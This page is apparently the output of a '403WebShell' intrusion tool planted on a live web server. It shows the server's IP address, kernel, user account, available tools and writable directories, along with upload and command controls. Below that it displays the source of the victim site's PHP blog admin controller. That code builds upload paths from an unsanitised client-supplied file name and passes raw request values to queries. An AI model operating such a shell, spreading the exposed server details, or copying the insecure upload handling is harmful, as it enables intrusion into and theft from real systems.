Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/brainwavemx/app/Controller/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/brainwavemx/app/Controller/admin/BlogController.php
<?php

declare(strict_types=1);

namespace App\Controller\Admin;

use App\Helper\FileUpload;
use App\Helper\Utilities;
use App\Model\BlogModel;
use Mosaico\Controller\BaseController;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

class BlogController extends BaseController
{
    /**
     * @var object
     */
    protected $blogModel;
    
    /**
     * @var object
     */
    protected $utility;
    
    /**
     * @var array
     */
    protected $env;

    public function __construct()
    {
        $this->auth();
        $this->blogModel = new BlogModel();
        $this->env = $this->getEnv();
        $this->utility = new Utilities();
    }

    /**
     * Post List
     * @return string           [description]
     */
    public function postsList(): string
    {
        $posts = $this->blogModel->getPostsAdmin();
        return $this->template(
            'admin/postsList',
            [
                'env' => $this->env,
                'posts' => $posts,
            ]
        );
    }

    public function postCreate(): string
    {
        $authors = $this->blogModel->getAuthors()->num_rows > 0 ? 
            $this->blogModel->getAuthors()->rows :
             '';
        $tags = $this->blogModel->getTags();
        $postTags = '';
        return $this->template(
            'admin/postEdit',
            [
                'env' => $this->env,
                'post' => ['action' => 'New Post'],
                'authors' => $authors,
                'tags' => $tags
            ]
        );
    }

    public function postUpdate(): string
    {
        $authors = $this->blogModel->getAuthors()->num_rows > 0 ? 
            $this->blogModel->getAuthors()->rows :
            '';
        $tags = $this->blogModel->getTags();
        $postTags = $this->blogModel->getPostTagId($_GET['id_post']);
        $post = $this->blogModel->getPostById($_GET['id_post']);
        $post->row['action'] = 'Update Post';
        return $this->template(
            'admin/postEdit',
            [
                'env' => $this->env,
                'post' => $post->row,
                'authors' => $authors,
                'tags' => $tags,
                'postTags' => $postTags
            ]
        );
    }

    public function postProcess(): string
    {
        if (isset($_POST['id_post'])) :

            $_POST['title']     = addslashes($_POST['title']);
            $_POST['content']   = addslashes($_POST['content']);
            $_POST['resume']    = addslashes($_POST['resume']);
            if ($_POST['id_post'] == 0) {
                $this->blogModel->insertPost($_POST);
                $action  = 'insert';
                $id_post = $this->blogModel->getLastPostId();
            } else {
                $this->blogModel->updatePost($_POST);
                $action  = 'update';
                $id_post = $_POST['id_post'];
            }

            $data['message'] = $action . 'post debug: ' . $id_post;
            $data['id_post'] = $id_post;
            return json_encode($data);
        else :
            header('HTTP/1.0 404 Not Found');
            die();
        endif;
    }

    public function postTag()
    {
        if (isset($_POST['id_post'])) :
            $check = $this->blogModel->getPostTags($_POST['id_post'])->num_rows;
            if ($_POST['tag'] == 0) {
                $this->blogModel->deletePostTag($_POST['id_post'], $_POST['id_tag']);
            } elseif ($_POST['id_tag'] && $check == 0) {
                $this->blogModel->insertPostTag($_POST['id_post'], $_POST['id_tag']);
            }
        endif;
        return 'process posttag debug: ' . $_POST['id_post'];
    }

    public function postImage()
    {
         if (isset($_POST['file'])) {
            $upload = new FileUpload();
            $max_size = $this->getEnv()['IMG_MAX_SIZE'];
            $image_width = $this->getEnv()['IMG_BLOG_WIDTH'];
            $crop_size  = $this->getEnv()['IMG_CROP_SIZE'];
            $imageFolder = '/images/blog/' . date('ym') . '/';

            $this->acceptedOrigins();

            $filetowrite = $imageFolder . $_POST['name'];
            $path = $_SERVER['DOCUMENT_ROOT'] . $imageFolder;
            //$_POST['name'] = $_POST['content'] . '_' . $_POST['name'];

            try {
                $result = $upload->POST($_POST, $path, $max_size);
                //$this->resizeImage($_SERVER['DOCUMENT_ROOT'] . $filetowrite, $image_width);
                //$this->cropImage($_SERVER['DOCUMENT_ROOT'] . $filetowrite, $crop_size);

                return json_encode($result);
            } catch (Exeption $e) {
                return $e->getMessage();
            }
        }

        if(isset($_POST['validate_file'])){
            
            $year = date('Y');
            $path = '/images/blog/';
            $folder = date('ym') . '/';
            $image = $path . $folder . $_POST['file_name'];
            return $image;
        }
    }

    public function urlName() : string
    {
        if (isset($_POST['title'])) {
            return $this->utility->doUrlName($_POST['title']);
        }

        return '';
    }

    public function postStatus() : string
    {
        if (isset($_POST['status'])) {
           $_POST['status'] == 1 ? $_POST['status'] = 0 : $_POST['status'] = 1;
           $this->blogModel->updateStatus($_POST);
        }
        return '';
    }


    /**
     * tag List
     * @return string           [description]
     */
    public function tagList(): string
    {
        $tags = $this->blogModel->getTags();
        if (isset($_GET['id'])) {
            $tag        = $this->blogModel->getTagById($_GET['id']);
            if (!empty($tag->row)) {
                $id_tag     = $tag->row['id_tag'];
                $tag_name   = $tag->row['tag_name'];
                $tag_url    = $tag->row['tag_url'];
                $header     = 'Update tag';
                $action     = 'update';
            } else {
                $id_tag     = 0;
                $tag_name   = '';
                $tag_url    = '';
                $header     = 'Add new tag';
                $action     = 'add';
            }
        } else {
            $id_tag     = 0;
            $tag_name   = '';
            $tag_url    = '';
            $header     = 'Add new tag';
            $action     = 'add';
        }
        return $this->template(
            'admin/tags',
            [
                'env' => $this->env,
                'tags' => $tags,
                'tag_name' => $tag_name,
                'tag_url' => $tag_url,
                'id_tag' => $id_tag,
                'header' => $header,
                'action' => $action
            ]
        );
    }

    public function tagProcess(): string
    {
        if (isset($_POST['id_tag'])) :

            if ($_POST['id_tag'] == 0) {
                $this->blogModel->insertTag($_POST);
                $action  = 'insert';
            } else {
                $this->blogModel->updateTag($_POST);
                $action  = 'update';
            }

            $data['message'] = 'tag has been updated';
            return json_encode($data);
        else :
            header('HTTP/1.0 404 Not Found');
            die();
        endif;
    }

    public function tagDelete(): string
    {
        if (isset($_POST['id_tag'])) :
            $this->blogModel->deleteTag($_POST['id_tag']);
        else :
            header('HTTP/1.0 404 Not Found');
            die();
        endif;
    }

    public function acceptedOrigins()
    {
        $accepted_origins = explode(',', $this->getEnv()['ORIGINS']);

        if (isset($_SERVER['HTTP_ORIGIN'])) {
            // same-origin requests won't set an origin. If the origin is set, it must be valid.
            if (in_array($_SERVER['HTTP_ORIGIN'], $accepted_origins)) {
                header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
            } else {
                header("HTTP/1.1 403 Origin Denied");
            die();
            }
        }

        if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') {
            header("Access-Control-Allow-Methods: POST, OPTIONS");
            die();
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit